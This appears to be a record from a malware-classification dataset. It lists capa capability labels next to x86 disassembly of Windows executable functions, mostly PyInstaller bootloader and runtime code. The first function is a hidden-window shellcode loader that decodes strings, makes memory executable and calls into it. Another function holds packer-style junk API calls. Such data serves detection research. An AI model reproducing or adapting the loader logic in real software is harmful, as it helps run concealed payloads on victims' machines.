joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401560
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x41c004]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x401583
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.00401050
push str.____
mov dword [ebp - 0xc], 0
call fcn.00406630
mov ecx, str.__6_._6._6__
mov dword [ebp - 0x10], eax
add esp, 4
mov dword [ebp - 8], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4015b0
sub ecx, edx
mov edx, 2
push ebx
push esi
push edi
lea esi, [ecx + 1]
xor ecx, ecx
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00406957
push 0xffffffffffffffff
push str.__6_._6._6__
mov ebx, eax
lea eax, [ebp - 8]
push esi
push ebx
push eax
call fcn.0040691a
mov edi, str.qtk7________6zqv
mov dword [ebp - 8], 0
add esp, 0x18
lea ecx, [edi + 1]
nop dword [eax]
mov al, byte [edi]
inc edi
test al, al
jne 0x401600
sub edi, ecx
mov edx, 2
inc edi
xor ecx, ecx
mov eax, edi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00406957
push 0xffffffffffffffff
push str.qtk7________6zqv
mov esi, eax
lea eax, [ebp - 8]
push edi
push esi
push eax
call fcn.0040691a
mov edx, dword [ebp - 0x10]
add esp, 0x14
mov ecx, ebx
push esi
call fcn.004013e0
add esp, 8
mov esi, eax
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [0x41d398]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x401662
call esi
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401675
mov esp, ebp
pop ebp
ret

Function at 0x4082e4
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4165b0
push 0x4165a8
push str.FlsAlloc
push 0x1e
call fcn.004081a5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408318
push dword [ebp + 8]
mov ecx, esi
call dword [0x415144]
call esi
jmp 0x40831e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x408362
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4165c0
push 0x4165b8
push str.FlsGetValue
push 0x20
call fcn.004081a5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408399
push dword [ebp + 8]
mov ecx, esi
call dword [0x415144]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x40888c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41dba0]
jne 0x408896
repz ret
jmp fcn.0040e9fc

Function at 0x40e32d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41dba0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040500e
and dword [ebp - 0x14], 0
cmp dword [0x43da40], 0
mov dword [ebp - 0x18], eax
jne 0x40e3e0
push 0x402bb8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40e488
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402bac
push ebx
call edi
test eax, eax
je 0x40e488
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402b9c
push ebx
mov dword [0x43da40], eax
call edi
push eax
call esi
push 0x402b88
push ebx
mov dword [0x43da44], eax
call edi
push eax
call esi
push 0x402b6c
push ebx
mov dword [0x43da48], eax
call edi
push eax
call esi
mov dword [0x43da50], eax
test eax, eax
je 0x40e3e0
push 0x402b54
push ebx
call edi
push eax
call esi
mov dword [0x43da4c], eax
mov eax, dword [0x43da4c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40e439
cmp dword [0x43da50], ecx
je 0x40e439
push eax
call esi
push dword [0x43da50]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40e439
test ebx, ebx
je 0x40e439
call edi
test eax, eax
je 0x40e430
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40e430
test byte [ebp - 8], 1
jne 0x40e439
or dword [ebp + 0x10], 0x200000
jmp 0x40e46c
mov eax, dword [0x43da44]
cmp eax, dword [ebp - 0x18]
je 0x40e46c
push eax
call esi
test eax, eax
je 0x40e46c
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40e46c
mov eax, dword [0x43da48]
cmp eax, dword [ebp - 0x18]
je 0x40e46c
push eax
call esi
test eax, eax
je 0x40e46c
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x43da40]
call esi
test eax, eax
je 0x40e488
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40e48a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040888c
leave
ret
Function at 0x41b230
Capabilities:
Delete file
Get uefi variable

Disassembly:
sub esp, 0xc2c
cmp dword [0x2b675a4], 0x37
jne 0x41b2a6
push 0x4035d8
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleSelectionInfo]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
push 0
lea ecx, [esp + 0x2c]
push ecx
push 0x4035e8
push 0x403614
call dword [sym.imp.KERNEL32.dll_GetFirmwareEnvironmentVariableW]
lea edx, [esp]
push edx
push 0
lea eax, [esp + 0x1c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
lea ecx, [esp + 0x42c]
push ecx
push 0x403640
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
mov edx, dword [0x2b679b8]
mov ecx, dword [0x2b67088]
mov al, byte [edx + esi + 0x38d6]
mov byte [ecx + esi], al
add esp, 0xc2c
ret
Function at 0x401610
Capabilities:
Read file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x6c
mov ebx, dword [esp + 0x80]
mov edi, dword [esp + 0x84]
mov eax, dword [ebx]
test eax, eax
je 0x401790
mov esi, dword [ebx + 4]
mov eax, dword [edi + 4]
mov ebp, dword [sym.imp.WS2_32.dll_ntohl]
mov dword [esp], eax
call ebp
sub esp, 4
add esi, eax
mov dword [esp + 4], esi
mov dword [esp + 8], 0
mov eax, dword [ebx]
mov dword [esp], eax
call sub.msvcrt.dll_fseek
mov eax, dword [edi + 8]
mov dword [esp], eax
call ebp
sub esp, 4
mov dword [esp], eax
call sub.msvcrt.dll_malloc
test eax, eax
mov esi, eax
je 0x4017d3
mov edx, dword [ebx]
mov eax, dword [edi + 8]
mov dword [esp + 0x1c], edx
mov dword [esp], eax
call ebp
sub esp, 4
mov edx, dword [esp + 0x1c]
mov dword [esp + 8], 1
mov dword [esp + 4], eax
mov dword [esp], esi
mov dword [esp + 0xc], edx
call sub.msvcrt.dll_fread
test eax, eax
je 0x4017c0
cmp byte [edi + 0x10], 1
je 0x4016d1
mov eax, dword [ebx]
test eax, eax
je 0x4016c7
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov dword [ebx], 0
add esp, 0x6c
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
call fcn.004057c0
mov eax, dword [edi + 0xc]
mov dword [esp], eax
call ebp
sub esp, 4
mov dword [esp], eax
call sub.msvcrt.dll_malloc
test eax, eax
mov dword [esp + 0x1c], eax
je 0x40183a
mov eax, dword [edi + 8]
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x28], esi
mov dword [esp], eax
call ebp
sub esp, 4
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x34], eax
mov eax, dword [edi + 0xc]
mov dword [esp], eax
call ebp
sub esp, 4
lea ebp, [esp + 0x28]
mov dword [esp + 8], 0x38
mov dword [esp + 4], 0x40c093
mov dword [esp + 0x38], eax
mov dword [esp], ebp
call fcn.00405c80
test eax, eax
js 0x4017e6
mov dword [esp + 4], 4
mov dword [esp], ebp
call fcn.00405d20
test eax, eax
js 0x401820
mov dword [esp], ebp
call fcn.00407bf0
mov dword [esp], esi
call sub.msvcrt.dll_free
mov esi, dword [esp + 0x1c]
jmp 0x4016b3
lea eax, [ebx + 0x68]
mov dword [esp + 4], 0x40c02c
mov dword [esp], eax
call fcn.00402ef0
test eax, eax
mov dword [ebx], eax
jne 0x40162f
mov dword [esp], str.Cannot_open_archive_file_n
xor esi, esi
call fcn.00401e70
jmp 0x4016c7
mov dword [esp], str.Could_not_read_from_file_n
xor esi, esi
call fcn.00401e70
jmp 0x4016c7
mov dword [esp], str.Could_not_allocate_read_buffer_n
xor esi, esi
call fcn.00401e70
jmp 0x4016c7
mov edx, dword [esp + 0x40]
mov dword [esp + 4], eax
mov dword [esp], str.Error__d_from_inflateInit:__s_n
mov dword [esp + 8], edx
call fcn.00401e70
mov dword [esp], esi
add edi, 0x12
xor esi, esi
call sub.msvcrt.dll_free
mov dword [esp + 4], edi
mov dword [esp], str.Error_decompressing__s_n
call fcn.00401e70
jmp 0x4016c7
mov edx, dword [esp + 0x40]
mov dword [esp + 4], eax
mov dword [esp], str.Error__d_from_inflate:__s_n
mov dword [esp + 8], edx
call fcn.00401e70
jmp 0x4017fe
mov dword [esp], str.Error_allocating_decompression_buffer_n
call fcn.00401e70
jmp 0x4017fe
Function at 0x401850
Capabilities:
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov ebx, dword [esp + 0x30]
mov esi, dword [esp + 0x34]
mov dword [esp], ebx
mov dword [esp + 4], esi
call fcn.00401610
mov dword [esp], ebx
mov edi, eax
call fcn.00404820
cmp eax, 0xffffffff
je 0x4018d9
lea ebp, [esi + 0x12]
add ebx, 0x2068
mov dword [esp], ebx
mov dword [esp + 4], ebp
call fcn.00404a50
mov ebx, eax
mov eax, dword [esi + 0xc]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_ntohl]
sub esp, 4
test ebx, ebx
mov esi, eax
je 0x4018f8
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 1
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.msvcrt.dll_fwrite
cmp eax, 1
je 0x4018c7
test esi, esi
jne 0x4018e1
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
mov dword [esp], edi
call sub.msvcrt.dll_free
xor eax, eax
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 4], ebp
mov dword [esp], str.Failed_to_write_all_bytes_for__s_n
call fcn.00401e10
mov eax, 0xffffffff
jmp 0x4018d9
mov dword [esp + 4], ebp
mov dword [esp], str._s_could_not_be_extracted__n
call fcn.00401e10
mov eax, 0xffffffff
jmp 0x4018d9
Function at 0x4045b0
Capabilities:
Delete file

Disassembly:
push ebx
mov ebx, eax
sub esp, 0x18
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
mov dword [esp], ebx
call sub.msvcrt.dll_remove
add esp, 0x18
pop ebx
ret

Function at 0x4045e0
Capabilities:
Query environment variable

Disassembly:
push ebx
mov eax, 0x4018
call fcn.0040a650
sub esp, eax
mov eax, dword [esp + 0x4020]
lea ebx, [esp + 0x10]
mov dword [esp + 8], 0
mov dword [esp], 0
mov dword [esp + 4], eax
call fcn.00405280
mov dword [esp + 8], 0x2000
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
sub esp, 0xc
test eax, eax
jne 0x404640
add esp, 0x4018
xor eax, eax
pop ebx
ret
lea eax, [esp + 0x2010]
mov dword [esp + 8], 0x2000
mov dword [esp], ebx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
sub esp, 0xc
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov dword [esp], 0
call fcn.004050e0
test eax, eax
je 0x40462c
cmp byte [eax], 0
je 0x40462c
mov dword [esp], eax
call sub.msvcrt.dll__strdup
add esp, 0x4018
pop ebx
ret

Function at 0x404690
Capabilities:
Set environment variable

Disassembly:
push edi
push esi
push ebx
sub esp, 0x10
mov eax, dword [esp + 0x20]
mov dword [esp + 8], 0
mov dword [esp], 0
mov dword [esp + 4], eax
call fcn.00405280
mov esi, eax
mov eax, dword [esp + 0x24]
mov dword [esp + 8], 0
mov dword [esp], 0
mov dword [esp + 4], eax
call fcn.00405280
mov dword [esp], esi
mov ebx, eax
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
sub esp, 8
mov edi, eax
mov dword [esp], esi
call sub.msvcrt.dll_free
mov dword [esp], ebx
call sub.msvcrt.dll_free
add esp, 0x10
mov eax, edi
pop ebx
pop esi
pop edi
ret

Function at 0x404700
Capabilities:
Set environment variable

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [esp + 0x20]
mov dword [esp + 8], 0
mov dword [esp], 0
mov dword [esp + 4], eax
call fcn.00405280
mov dword [esp + 4], 0
mov ebx, eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
sub esp, 8
mov esi, eax
mov dword [esp], ebx
call sub.msvcrt.dll_free
add esp, 0x14
mov eax, esi
pop ebx
pop esi
ret
Function at 0x404750
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
push edi
mov eax, 0x202c
push esi
push ebx
call fcn.0040a650
sub esp, eax
lea ebx, [esp + 0x20]
mov esi, dword [esp + 0x2040]
mov dword [esp], 0x1000
mov dword [esp + 4], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
sub esp, 8
lea edi, [esp + 0x10]
mov dword [esp + 4], ebx
mov dword [esp + 8], 0x1000
mov dword [esp], esi
mov ebx, 5
call fcn.004050e0
call sub.msvcrt.dll__getpid
mov dword [esp + 4], str._MEI_d
mov dword [esp + 8], eax
mov dword [esp], edi
call sub.msvcrt.dll_sprintf
mov dword [esp + 4], edi
mov dword [esp], esi
call dword [sym.imp.msvcrt.dll__tempnam]
mov dword [esp], eax
mov ebp, eax
call sub.msvcrt.dll__mkdir
test eax, eax
je 0x4047f0
mov dword [esp], ebp
call sub.msvcrt.dll_free
sub ebx, 1
jne 0x4047b5
add esp, 0x202c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 4], ebp
mov dword [esp], esi
call sub.msvcrt.dll_strcpy
mov dword [esp], ebp
call sub.msvcrt.dll_free
add esp, 0x202c
mov eax, 1
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x404880
Capabilities:
Delete directory

Disassembly:
push ebp
push edi
mov eax, 0x125c
push esi
push ebx
call fcn.0040a650
sub esp, eax
mov eax, dword [esp + 0x1270]
lea ebp, [esp + 0x24f]
mov dword [esp], ebp
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcpy
mov dword [esp], ebp
call sub.msvcrt.dll_strlen
mov edx, eax
mov dword [esp + 0x12c], eax
movzx edx, byte [esp + edx + 0x24e]
cmp dl, 0x5c
je 0x4048d1
cmp dl, 0x2f
jne 0x404980
lea ebx, [esp + 0x134]
mov edx, 0x2a
mov word [ebp + eax], dx
mov dword [esp], ebp
mov dword [esp + 4], ebx
call dword [sym.imp.msvcrt.dll__findfirst]
cmp eax, 0xffffffff
mov dword [esp + 0x128], eax
je 0x404961
mov edi, esp
mov esi, ebx
mov ecx, 0x46
rep movsd dword es:[edi], dword [esi]
mov eax, ebp
mov edx, dword [esp + 0x12c]
call fcn.004049b0
jmp 0x404939
mov edi, esp
mov esi, ebx
mov ecx, 0x46
rep movsd dword es:[edi], dword [esi]
mov eax, ebp
mov edx, dword [esp + 0x12c]
call fcn.004049b0
mov eax, dword [esp + 0x128]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll__findnext]
test eax, eax
je 0x404920
mov eax, dword [esp + 0x128]
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll__findclose]
mov eax, dword [esp + 0x1270]
mov dword [esp], eax
call sub.msvcrt.dll__rmdir
add esp, 0x125c
pop ebx
pop esi
pop edi
pop ebp
ret
mov ecx, 0x5c
mov word [ebp + eax], cx
add eax, 1
mov dword [esp], ebp
mov dword [esp + 0x12c], eax
call sub.msvcrt.dll_strlen
jmp 0x4048d1
Function at 0x4049b0
Capabilities:
Delete file

Disassembly:
push ebp
push edi
mov ecx, 2
push esi
push ebx
mov edi, 0x40d32c
mov ebp, eax
sub esp, 0x1c
lea ebx, [esp + 0x44]
mov esi, ebx
repe cmpsb byte [esi], byte es:[edi]
seta cl
mov esi, ecx
setb cl
mov eax, esi
cmp al, cl
je 0x4049e9
mov edi, 0x40d32e
mov ecx, 3
mov esi, ebx
repe cmpsb byte [esi], byte es:[edi]
jne 0x4049f1
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
mov byte [ebp + edx], 0
mov dword [esp + 4], ebx
mov dword [esp], ebp
call sub.msvcrt.dll_strcat
test byte [esp + 0x30], 0x10
mov dword [esp], ebp
jne 0x404a20
call sub.msvcrt.dll_remove
test eax, eax
je 0x4049e9
mov eax, ebp
call fcn.004045b0
jmp 0x4049e9
call fcn.00404880
jmp 0x4049e9

Function at 0x404a50
Capabilities:
Create directory

Disassembly:
push edi
push esi
mov eax, 0x2040
push ebx
call fcn.0040a650
sub esp, eax
mov eax, dword [esp + 0x2050]
lea edi, [esp + 0x40]
lea ebx, [esp + 0x1040]
lea esi, [esp + 0x1c]
mov dword [esp], edi
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcpy
mov eax, dword [esp + 0x2054]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcpy
mov dword [esp], ebx
mov dword [esp + 4], 0x40d331
call sub.msvcrt.dll_strtok
test eax, eax
mov ebx, eax
je 0x404b30
nop
mov ecx, edi
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
and edx, 0x80808080
je 0x404ab2
mov eax, edx
shr eax, 0x10
test edx, 0x8080
cmove edx, eax
lea eax, [ecx + 2]
cmove ecx, eax
add dl, dl
sbb ecx, 3
sub ecx, edi
lea eax, [edi + ecx + 1]
mov byte [edi + ecx], 0x5c
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
mov dword [esp + 4], 0x40d331
mov dword [esp], 0
call sub.msvcrt.dll_strtok
test eax, eax
mov ebx, eax
je 0x404b30
mov dword [esp + 4], esi
mov dword [esp], edi
call fcn.0040a690
test eax, eax
jns 0x404ab0
mov dword [esp], edi
call sub.msvcrt.dll__mkdir
jmp 0x404ab0
mov dword [esp + 4], esi
mov dword [esp], edi
call fcn.0040a690
test eax, eax
je 0x404b60
mov dword [esp], edi
mov dword [esp + 4], 0x40d365
call fcn.00402ef0
add esp, 0x2040
pop ebx
pop esi
pop edi
ret
mov dword [esp + 4], edi
mov dword [esp], str.WARNING:_file_already_exists_but_should_not:__s_n
call fcn.00401e70
jmp 0x404b40
Function at 0x404b80
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push edi
push esi
mov eax, 0x1010
push ebx
call fcn.0040a650
sub esp, eax
mov eax, dword [esp + 0x1020]
mov dword [esp + 4], 0x40d368
mov dword [esp], eax
call fcn.00402ef0
mov ebx, eax
mov eax, dword [esp + 0x1028]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x1024]
mov dword [esp], eax
call fcn.00404a50
test eax, eax
mov edi, eax
je 0x404c85
test ebx, ebx
je 0x404c85
lea esi, [esp + 0x10]
nop
lea esi, [esi]
mov dword [esp], ebx
call sub.msvcrt.dll_feof
test eax, eax
jne 0x404c81
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 1
mov dword [esp + 4], 0x1000
mov dword [esp], esi
call sub.msvcrt.dll_fread
cmp eax, 0xffffffff
je 0x404c62
mov dword [esp + 0xc], edi
mov dword [esp + 8], 1
mov dword [esp + 4], 0x1000
mov dword [esp], esi
call sub.msvcrt.dll_fwrite
mov dword [esp], edi
call sub.msvcrt.dll_ferror
test eax, eax
je 0x404be0
mov dword [esp], edi
mov esi, 0xffffffff
call sub.msvcrt.dll_clearerr
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
mov dword [esp], edi
call sub.msvcrt.dll_fclose
mov eax, esi
add esp, 0x1010
pop ebx
pop esi
pop edi
ret
mov dword [esp], ebx
call sub.msvcrt.dll_ferror
test eax, eax
je 0x404be0
mov dword [esp], ebx
mov esi, 0xffffffff
call sub.msvcrt.dll_clearerr
jmp 0x404c46
xor esi, esi
jmp 0x404c46
mov eax, 0xffffffff
jmp 0x404c58
Function at 0x404d00
Capabilities:
Accept command line arguments
Create process on windows
Create process suspended

Disassembly:
push edi
push esi
mov eax, 0x20a0
push ebx
call fcn.0040a650
sub esp, eax
mov eax, dword [esp + 0x20b0]
lea esi, [esp + 0xa0]
mov dword [esp + 8], 0x1000
mov dword [esp + 0x3c], 0
lea edi, [esp + 0x5c]
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.00405280
mov dword [esp + 4], 1
mov dword [esp], 0x16
call sub.msvcrt.dll_signal
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.msvcrt.dll_signal
mov dword [esp + 4], 1
mov dword [esp], 0xf
call sub.msvcrt.dll_signal
mov dword [esp + 4], 1
mov dword [esp], 0x15
call sub.msvcrt.dll_signal
mov dword [esp + 0x40], 0xc
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 1
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, 1
sub esp, 4
mov word [esp + 0x8c], ax
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 0x60], 0
mov dword [esp + 0x64], 0
mov dword [esp + 0x68], 0
mov dword [esp + 0x88], 0x101
mov dword [esp], eax
call sub.msvcrt.dll__fileno
mov ebx, dword [sym.imp.msvcrt.dll__get_osfhandle]
mov dword [esp], eax
call ebx
mov dword [esp + 0x94], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x20
mov dword [esp], eax
call sub.msvcrt.dll__fileno
mov dword [esp], eax
call ebx
mov dword [esp + 0x98], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll__fileno
mov dword [esp], eax
call ebx
mov dword [esp + 0x9c], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea edx, [esp + 0x4c]
mov dword [esp + 0x20], edi
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x24], edx
lea edx, [esp + 0x40]
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 4], eax
mov dword [esp + 8], edx
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
sub esp, 0x28
test eax, eax
jne 0x404eb0
mov dword [esp], str.Error_creating_child_process__n
call fcn.00401e10
add esp, 0x20a0
mov eax, 0xffffffff
pop ebx
pop esi
pop edi
ret
mov eax, dword [esp + 0x4c]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
lea eax, [esp + 0x3c]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x4c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
sub esp, 8
mov eax, dword [esp + 0x3c]
add esp, 0x20a0
pop ebx
pop esi
pop edi
ret
Function at 0x409a50
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
lea ebx, [esp + 0x24]
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.00409ab0

Function at 0x409ab0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, eax
push ebx
sub esp, 0x3c
mov eax, dword [0x41e2f0]
test eax, eax
jle 0x409bb3
mov edx, dword [0x41e2f4]
xor ebx, ebx
mov ecx, dword [edx + 4]
cmp ecx, esi
ja 0x409ae1
mov edi, dword [edx + 8]
add ecx, dword [edi + 8]
cmp esi, ecx
jb 0x409b56
add ebx, 1
add edx, 0xc
cmp ebx, eax
jne 0x409ad0
mov dword [esp], esi
call fcn.0040a430
test eax, eax
mov edi, eax
je 0x409bda
lea esi, [ebx + ebx*2]
mov ebx, dword [0x41e2f4]
shl esi, 2
add ebx, esi
mov dword [ebx + 8], eax
mov dword [ebx], 0
call fcn.0040a520
add eax, dword [edi + 0xc]
mov dword [ebx + 4], eax
lea eax, [ebp - 0x34]
mov dword [esp + 4], eax
mov eax, dword [0x41e2f4]
mov dword [esp + 8], 0x1c
mov eax, dword [eax + esi + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x409bba
mov eax, dword [ebp - 0x20]
cmp eax, 0x40
jne 0x409b60
add dword [0x41e2f0], 1
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
cmp eax, 4
je 0x409b4f
cmp eax, 0x80
je 0x409b4f
cmp eax, 8
je 0x409b4f
mov eax, dword [ebp - 0x28]
add esi, dword [0x41e2f4]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0xc], esi
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x409b4f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00409a50
xor ebx, ebx
jmp 0x409aeb
mov eax, dword [0x41e2f4]
mov eax, dword [eax + esi + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00409a50
mov dword [esp + 4], esi
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00409a50
lea esi, [esi]

Function at 0x40a350
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x40a388
xor edx, edx
nop
mov ecx, dword [eax + 0xc]
cmp ecx, ebx
ja 0x40a37e
add ecx, dword [eax + 8]
cmp ebx, ecx
jb 0x40a38a
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x40a370
xor eax, eax
pop ebx
pop esi
ret